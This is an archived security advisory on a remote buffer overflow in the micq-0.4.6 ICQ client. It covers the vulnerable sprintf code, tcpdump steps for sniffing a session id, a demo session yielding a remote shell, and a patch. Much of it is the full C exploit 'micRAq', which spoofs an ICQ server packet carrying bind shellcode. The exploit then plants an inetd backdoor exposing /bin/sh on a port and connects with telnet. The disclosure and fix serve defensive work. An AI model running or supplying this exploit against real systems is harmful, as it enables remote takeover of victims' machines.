COMMAND

    micq

SYSTEMS AFFECTED

    micq-0.4.6

PROBLEM

    Following is based on a [PkC] Advisory #003.  This has been tested
    on Linux/ix86 (Slackware 7.1 - RedHat 6.1).

    micq-0.4.6 is  one of  the best  ICQ emulator  for linux  console.
    There  is  a  buffer  overflow  in  sprintf() in icq_response.c in
    function Do_Msg() at  line 879, that  allows to a  remote attacker
    able to sniff packets to  ICQ server to execute arbitrary  code on
    the victim system.  There is a local buffer overflow, too.  If you
    send an  URL message  with a  too large  description, the  program
    receives a SIGSEGV.  Because of the program is not suid, we  don't
    analyze this bof further more.

    icq_response.c:

        void Do_Msg( SOK_T sok, DWORD type, WORD len, char * data, DWORD uin )
        {
           char *tmp;
                int   x,m;
           char message[1024];
           char url_data[1024];
           char url_desc[1024];

                [ ... ]

           else if (type == URL_MESS || type == MRURL_MESS)
           {

              tmp = strchr( data, '\xFE' );
              if ( tmp == NULL )
              {
                 M_print( "Ack!!!!!!!  Bad packet" );
                 return;
              }
              *tmp = 0;
              char_conv ("wc",data);
              strcpy (url_desc,data);
              tmp++;
              data = tmp;
              char_conv ("wc",data);
              strcpy (url_data,data);

        ===>  sprintf (message,"Description: %s \n                          URL: %s",
        ===>            url_desc,url_data);
              if ( UIN2nick( uin ) != NULL )
                 log_event( uin, LOG_MESS, "You received URL message from %s\n%s\n",
                        UIN2nick(uin), message );
              else
                 log_event( uin, LOG_MESS, "You received URL message from %d\n%s\n",
                        uin, message );

              M_print( " URL Message.\n Description: " MESSCOL "%s" NOCOL "\n",
                        url_desc );
              M_print(               " URL        : " MESSCOL "%s" NOCOL "\n",
                        url_data );
           }

    The buffer overflow is due to a malicious URL message sent by  the
    server.  The client reads 1024 bytes from the UDP socket, trim the
    message headers  and split  the remaining  data in  the 1024 bytes
    url_data and  url_desc, recombining  in the  message char  buffer,
    adding about fifty digits.  Because of the url_data is 1024  bytes
    long, this instruction can be used to overwrite the return address
    of the function and execute arbitrary code on the client machine.

    Exploiting this bof is  a little hard.   The main problem is  that
    we need a large amount of data to be send as URL, but ICQ  servers
    seem to trim packets bigger than 500 bytes.  So the mad way  found
    is to spoof ICQ server  and send the malicious packet  directly to
    the client (micq only uses  server connection).  In order  to make
    it works, we need some extra data on the connection, that requires
    sniffing at least  one packet from  the existant connection,  like
    <hex_session>, that  identify the  connection.   This can  be done
    easily with tcpdump 3.6.1.  Let's see how:

        (data and ip are random)
        [root@pkcrew:~]# tcpdump -i eth0 -s 49 -tnx udp src port 4000
        tcpdump: listening on eth0
        [ ... ]
        205.188.153.105.4000 > 32.96.111.130.1080:  udp 21 (DF)
                                 4500 0031 747f 4000 eb11 a72c cdbc 996a
                                 ceb6 3e32 0fa0 0501 001d 4c3d 0500 00f4
                                 b10f 5a
        [ ... ]
        16 packets received by filter
        0 packets dropped by kernel
        [root@pkcrew:~]#
        (<hex_session> is the last 4 shown bytes)

    Now we  have all  the data  we need.   Let's try  to exploit  this
    (don't try THIS):

        [root@pkcrew:~]# ./micRAq 32.96.111.130 1080 205.188.153.105 f4b10f4a
                [ [ micRAq ] - by tHE rECIdjVO <recidjvo@pkcrew.org> ]
                        Packet Knights - http://www.pkcrew.org/

        Using buffer address: 0xbfffedb0

                "To be, or not to be.
                This is the question."
                                (William Shakespere)

        Trying 32.96.111.130...
        Connected to 32.96.111.130.
        Escape character is '^]'.
        bash$

    Good.   The program  sends a  spoofed UDP  packet formatted  to be
    parsed as an URL  message, but with malicious  code in it. It  was
    written using my  linux buffer address  and offset, but  it can be
    easily changed for other situations.   The shellcode open a  shell
    on port 3879/tcp, then the exploit sends the execution of a  inetd
    session with  a shell  binded on  port 10000/tcp,  and execl()  to
    telnet on that  port, giving you  an interactive sh  on the remote
    machine.

    When micq crashes,  it prints the  malicious URL, so  on the other
    side  the  victim  see  a  lot  of  unprintable characters and the
    /bin/sh string too.

    /*
                    [ micRAq ] - by tHE rECIdjVO <recidjvo@pkcrew.org>
                            Packet Knights - http://www.pkcrew.org/

       - version affected: micq-0.4.6 - maybe others (http://freshmeat.net/)
       - coded for: ix86/Linux-2.2.16
       - gcc version: egcs-2.91.66

       usage: ./micRAq <client_ip> <client_port> <server_ip> <hex_session> [address]

       Please read PkC Advisory #003 first.
       Catch parameters with tcpdump-3.6.1 (http://www.tcpdump.org/)
       Last 4 shown bytes are <hex_session>
       # tcpdump -i <interface> -s 49 -tnx udp src port 4000

       Dedicated to: Francesca (I'll never forget you :*)
       Tnx: |CyRaX|, asynchro, vecna, Nail, [ndk], MatOfPeng

                                                                            */

    #define DEFAULT_BUFFER_ADDRESS 0xbfffeea0
    #define OFFSET 991
    #define ICQ_SERVER_PORT 4000
    #define BACK_PORT "10105"
    #define NOP '\x90'
    #define COMMAND "echo -e \"" BACK_PORT " stream tcp nowait `whoami` /bin/sh sh -i\">/tmp/.micRAqbd;/usr/sbin/inetd /tmp/.micRAqbd;sleep 1;rm /tmp/.micRAqbd;exit;"

    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/udp.h>

    int main(int argc, char *argv[]);
    unsigned short in_cksum (u_short *addr, int len); // Ripped. Who didn't it? ;)
    void build_buffer(char *buffer, unsigned long *buff_addr);
    int go(char *ip);

    // bind shellcode by [multiple]
    char shellcode[]=
            "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
            "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
            "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
            "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
            "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
            "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
            "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
            "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

    typedef struct
    {
            unsigned char uin[4];
            unsigned char year[2];
            unsigned char month;
            unsigned char day;
            unsigned char hour;
            unsigned char minute;
            unsigned char type[2];
            unsigned char len[2];
    } RECV_MESSAGE, *RECV_MESSAGE_PTR;

    struct SRV_ICQ_pak
    {
            unsigned char ver[2];
            unsigned char zero;
            unsigned char session[4];
            unsigned char cmd[2];
            unsigned char seq[2];
            unsigned char seq2[2];
            unsigned char UIN[4];
            unsigned char check[4];
    };

    struct srv_net_icq_pak
    {
            struct SRV_ICQ_pak head;
            unsigned char data[1024];
    };

    unsigned short in_cksum (u_short *addr, int len)
    {
            register int nleft = len;
            register u_short *w = addr;
            register int sum = 0;
            u_short answer = 0;

            while (nleft > 1) {
                    sum += *w++;
                    nleft -= 2;
            }
            if (nleft == 1) {
                    *(u_char *)(&answer) = *(u_char *)w;
                    sum += answer;
            }

            sum = (sum >> 16) + (sum & 0xffff);
            sum += (sum >> 16);
            answer = ~sum;
            return(answer);
    }

    void build_buffer(char *buffer, unsigned long *buff_addr)
    {
            // Fill the data headers
            memset(buffer, '\b', 1024);
            memset(buffer, '\0', 7);
            buffer[4] = '\x04';
            buffer[8] = '\xFE';

            // Fill the buffer
            memset(buffer + 9, NOP, strtoul(buffer, NULL, 10) + OFFSET - strlen(shellcode) - 9);
            memcpy(buffer + OFFSET - strlen(shellcode), shellcode, strlen(shellcode));
            memcpy(buffer + OFFSET, buff_addr, 4);
            buffer[1023] = '\0';
            return;
    }

    int go(char *ip)
    {
            int sock, conn;
            struct sockaddr_in saddr;

            // Create socket
            if((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
                    perror("socket()");
                    return(-1);
            }

            saddr.sin_family = AF_INET;
            saddr.sin_addr.s_addr = inet_addr(ip);
            saddr.sin_port = htons(3879);

            // Connect to 3879 and issue COMMAND
            if((conn = connect(sock, (struct sockaddr *)&saddr, sizeof(saddr))) < 0) {
                    perror("connect()");
                    return(-1);
            }

            send(sock, COMMAND, sizeof(COMMAND), 0);

            // All done here
            close(sock);
            return(0);
    }

    int main(int argc, char *argv[])
    {
            int sock, i, hincl = 1;
            unsigned long buff_addr = DEFAULT_BUFFER_ADDRESS;
            struct sockaddr_in saddr;
            struct ip *pip;
            struct udphdr *pudp;
            char *packet, conv[3];
            struct srv_net_icq_pak *pak;
            RECV_MESSAGE_PTR r_data;

            printf("\n\t[ [ micRAq ] - by tHE rECIdjVO <recidjvo@pkcrew.org> ]\n\t\tPacket Knights - http://www.pkcrew.org/\n\n");

            if((argc != 5) && (argc != 6)) {
                    printf("usage: %s <client_ip> <client_port> <server_ip> <hex_session> [buffer]\n\n", argv[0]);
                    exit(-1);
            }

            if(strlen(argv[4]) != 8) {
                    printf("Error: <session> must be 8 digits exadecimal number.\n\n");
                    exit(-1);
            }

            if(argc == 6) {
                    buff_addr = strtoul(argv[5], NULL, 16);
            }
            printf("Using buffer address: 0x%x\n\n", buff_addr);

            // Create the RAW socket
            if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
                    perror("socket()");
                    exit(-1);
            }

            if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &hincl, sizeof(hincl)) < 0) {
                    perror("setsockopt()");
                    close(sock);
                    exit(-1);
            }

            // Set pointers
            packet = malloc(sizeof(struct ip) + sizeof(struct udphdr) + 1024);
            pip = (struct ip *)packet;
            pudp = (struct udphdr *)(packet + sizeof(struct ip));
            pak = (struct srv_net_icq_pak *)(packet + sizeof(struct ip) + sizeof(struct udphdr));

            // Clear packet
            memset(packet, 0, sizeof(struct ip) + sizeof(struct udphdr) + 1024);

            // Fill the packet headers
            saddr.sin_family = AF_INET;
            saddr.sin_addr.s_addr = inet_addr(argv[1]);
            pip->ip_len = htons(sizeof(struct ip) + sizeof(struct udphdr) + 1024);
            pip->ip_hl = 5;
            pip->ip_v = 4;
            pip->ip_ttl = 255;
            pip->ip_tos = 0;
            pip->ip_off = 0;
            pip->ip_id = htons(getpid());
            pip->ip_p = IPPROTO_UDP;
            pip->ip_src.s_addr = inet_addr(argv[3]);
            pip->ip_dst.s_addr = inet_addr(argv[1]);
            pip->ip_sum = in_cksum((u_short*)pip, sizeof(struct ip));
            pudp->source = htons(ICQ_SERVER_PORT);
            pudp->dest = htons(atoi(argv[2]));
            pudp->len = htons(sizeof(struct udphdr) + 1024);
            pudp->check = 0;

            // Fill the message headers
            pak->head.ver[0] = 5;
            pak->head.ver[1] = 0;
            pak->head.zero = 0;

            for(i = 0; i < 8; i += 2) {
                    conv[0] = argv[4][i];
                    conv[1] = argv[4][i + 1];
                    conv[2] = '\0';

                    pak->head.session[i / 2] = strtol(conv, NULL, 16);
            }

            pak->head.cmd[0] = 4;
            pak->head.cmd[1] = 1;
            pak->head.seq[0] = 0;
            pak->head.seq[1] = 0;
            pak->head.seq2[0] = 0;
            pak->head.seq2[1] = 0;
            pak->head.UIN[0] = 0;
            pak->head.UIN[1] = 0;
            pak->head.UIN[2] = 0;
            pak->head.UIN[3] = 0;
            pak->head.check[0] = 0;
            pak->head.check[1] = 0;
            pak->head.check[2] = 0;
            pak->head.check[3] = 0;

            // Fill the buffer
            build_buffer(pak->data, &buff_addr);

            // Send the packet
            if(sendto(sock, packet, sizeof(struct ip) + sizeof(struct udphdr) + 1024, 0, (struct sockaddr *)&saddr, sizeof(struct sockaddr_in)) < 0) {
                    perror("sendto()");
                    close(sock);
                    exit(-1);
            }

            // Clear the socket
            close(sock);

            // Send command to execute inetd backdoor
            sleep(1);

            // First connect
            if(go(argv[1]) < 0) {
                    printf("Unable to connect :\\\n");
                    exit(-1);
            }

            // Wait a bit to let the command to be issued
            sleep(1);
            printf("\t\"To be");
            fflush(stdout);
            sleep(2);
            printf(", or not to be.\n");
            sleep(1);
            printf("\t This is the question.\"\n");
            sleep(1);
            printf("\t\t\t(William Shakespeare)\n\n");

            // Connect to remote host
            execl("/usr/bin/telnet", "telnet", argv[1], BACK_PORT, NULL);

            // Never been here
            exit(-1);
    }

SOLUTION

    A simple patch can be to increase the message buffer size up to 50
    bytes.  Here is the patch.   It is very simple and somehow  system
    dependant:  you need snprintf/vsnprintf to have it working.

    ========= cut micq-0.4.6.snprintf.diff ===============================
    --- micq-0.4.6/icq_response.c.orig	Wed Jan 24 18:49:09 2001
    +++ micq-0.4.6/icq_response.c	Wed Jan 24 18:50:11 2001
    @@ -724,7 +724,7 @@
     {
        char *tmp;
 	    int   x,m;
    -   char message[1024];
    +   char message[1074];
        char url_data[1024];
        char url_desc[1024];

    @@ -876,7 +876,7 @@
           char_conv ("wc",data);
           strcpy (url_data,data);

    -      sprintf (message,"Description: %s \n                          URL: %s",url_desc,url_data);
    +      snprintf (message, sizeof(message), "Description: %s \n                          URL: %s",url_desc,url_data);
           if ( UIN2nick( uin ) != NULL )
              log_event( uin, LOG_MESS, "You received URL message from %s\n%s\n", UIN2nick(uin), message );
           else
    --- micq-0.4.6/sendmsg.c.orig	Wed Jan 24 18:35:17 2001
    +++ micq-0.4.6/sendmsg.c	Wed Jan 24 18:38:51 2001
    @@ -975,9 +975,9 @@

     void icq_sendurl( SOK_T sok, DWORD uin, char *description, char *url )
     {
    -   char buf[450];
    +   char buf[500];

    -   sprintf( buf, "%s\xFE%s", url, description );
    +   snprintf( buf, sizeof(buf), "%s\xFE%s", url, description );
        icq_sendmsg( sok, uin, buf, URL_MESS );
     }

    --- micq-0.4.6/util_ui.c.orig	Wed Jan 24 18:41:01 2001
    +++ micq-0.4.6/util_ui.c	Wed Jan 24 18:43:19 2001
    @@ -102,7 +102,7 @@
        assert( 2048 >= strlen( str ) );

        va_start( args, str );
    -   vsprintf( buf, str, args );
    +   vsnprintf( buf, sizeof(buf), str, args );
        k = write( fd, buf, strlen( buf ) );
        if ( k != strlen( buf ) )
        {
    @@ -292,7 +292,7 @@

        va_start( args, str );
     #ifndef CURSES_UI
    -   vsprintf( buf, str, args );
    +   vsnprintf( buf, sizeof(buf), str, args );
        str2 = buf;
        while ( (void *) NULL != ( str1 = strchr( str2, '\x1b' ) ) )
        {

    Here is a  little patch for  micq messaging system  to increase it
    readability in parts.

    --- micq-0.4.6/msg_queue.c.orig	Thu Oct 12 14:11:40 2000
    +++ micq-0.4.6/msg_queue.c	Thu Oct 12 14:12:30 2000
    @@ -139,9 +139,9 @@
                }
 	       if ( Chars_2_Word( &queued_msg->body[CMD_OFFSET] ) == CMD_SENDM ) {
 		    R_undraw();
    -		M_print( MESSAGE_SENT_1_STR );
    +		M_print( MESSAGE_QUEUED_1_STR );
 		    Print_UIN_Name( Chars_2_DW( &queued_msg->body[PAK_DATA_OFFSET] ) );
    -		M_print( MESSAGE_SENT_2_STR );
    +		M_print( MESSAGE_QUEUED_2_STR );
 		    R_redraw();
                }
                free(queued_msg->body);
    --- micq-0.4.6/english.h.orig	Thu Oct 12 14:08:27 2000
    +++ micq-0.4.6/english.h	Thu Oct 12 14:11:26 2000
    @@ -283,6 +283,8 @@
     /* will hopefully solve any potential word order problems */
     #define MESSAGE_SENT_1_STR  "Message sent to "
     #define MESSAGE_SENT_2_STR  "!\n"
    +#define MESSAGE_QUEUED_1_STR "Queued message for "
    +#define MESSAGE_QUEUED_2_STR "... "

     /********************************************************************/
     /* Simple Yes no response*/
    --- micq-0.4.6/russian.h.orig	Thu Oct 12 14:09:01 2000
    +++ micq-0.4.6/russian.h	Thu Oct 12 14:10:56 2000
    @@ -283,6 +283,8 @@
     /* will hopefully solve any potential word order problems */
     #define MESSAGE_SENT_1_STR  "Сообщение ушло "
     #define MESSAGE_SENT_2_STR  "!\n"
    +#define MESSAGE_QUEUED_1_STR "Сообщение для "
    +#define MESSAGE_QUEUED_2_STR "поставлено в очередь... "

     /********************************************************************/
     /* Simple Yes no response*/
    @@ -391,6 +393,8 @@
     /* will hopefully solve any potential word order problems */
     #define MESSAGE_SENT_1_STR  "Сообщение ушло "
     #define MESSAGE_SENT_2_STR  "\n"
    +#define MESSAGE_QUEUED_1_STR "Сообщение для "
    +#define MESSAGE_QUEUED_2_STR "поставлено в очередь... "
     /********************************************************************/
     /* Simple Yes no response*/

    For RedHat:

        ftp://updates.redhat.com/powertools/6.0/SRPMS/micq-0.4.6-1.src.rpm
        ftp://updates.redhat.com/powertools/6.0/alpha/micq-0.4.6-1.alpha.rpm
        ftp://updates.redhat.com/powertools/6.0/i386/micq-0.4.6-1.i386.rpm
        ftp://updates.redhat.com/powertools/6.0/sparc/micq-0.4.6-1.sparc.rpm
        ftp://updates.redhat.com/powertools/6.1/SRPMS/micq-0.4.6-1.src.rpm
        ftp://updates.redhat.com/powertools/6.1/alpha/micq-0.4.6-1.alpha.rpm
        ftp://updates.redhat.com/powertools/6.1/i386/micq-0.4.6-1.i386.rpm
        ftp://updates.redhat.com/powertools/6.1/sparc/micq-0.4.6-1.sparc.rpm
        ftp://updates.redhat.com/powertools/6.2/SRPMS/micq-0.4.6-1.src.rpm
        ftp://updates.redhat.com/powertools/6.2/alpha/micq-0.4.6-1.alpha.rpm
        ftp://updates.redhat.com/powertools/6.2/i386/micq-0.4.6-1.i386.rpm
        ftp://updates.redhat.com/powertools/6.2/sparc/micq-0.4.6-1.sparc.rpm
        ftp://updates.redhat.com/powertools/7.0/SRPMS/micq-0.4.6-2.src.rpm
        ftp://updates.redhat.com/powertools/7.0/alpha/micq-0.4.6-2.alpha.rpm
        ftp://updates.redhat.com/powertools/7.0/i386/micq-0.4.6-2.i386.rpm

    For Debian:

        http://security.debian.org/dists/stable/updates/main/source/micq_0.4.3-4.dsc
        http://security.debian.org/dists/stable/updates/main/source/micq_0.4.3.orig.tar.gz
        http://security.debian.org/dists/stable/updates/main/source/micq_0.4.3-4.diff.gz
        http://security.debian.org/dists/stable/updates/main/binary-i386/micq_0.4.3-4_i386.deb
        http://security.debian.org/dists/stable/updates/main/binary-m68k/micq_0.4.3-4_m68k.deb
        http://security.debian.org/dists/stable/updates/main/binary-sparc/micq_0.4.3-4_sparc.deb
        http://security.debian.org/dists/stable/updates/main/binary-alpha/micq_0.4.3-4_alpha.deb
        http://security.debian.org/dists/stable/updates/main/binary-powerpc/micq_0.4.3-4_powerpc.deb
        http://security.debian.org/dists/stable/updates/main/binary-arm/micq_0.4.3-4_arm.deb

    For FreeBSD:

        ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-3-stable/net/micq-0.4.6.1.tgz
        ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/net/micq-0.4.6.1.tgz
        ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/net/micq-0.4.6.1.tgz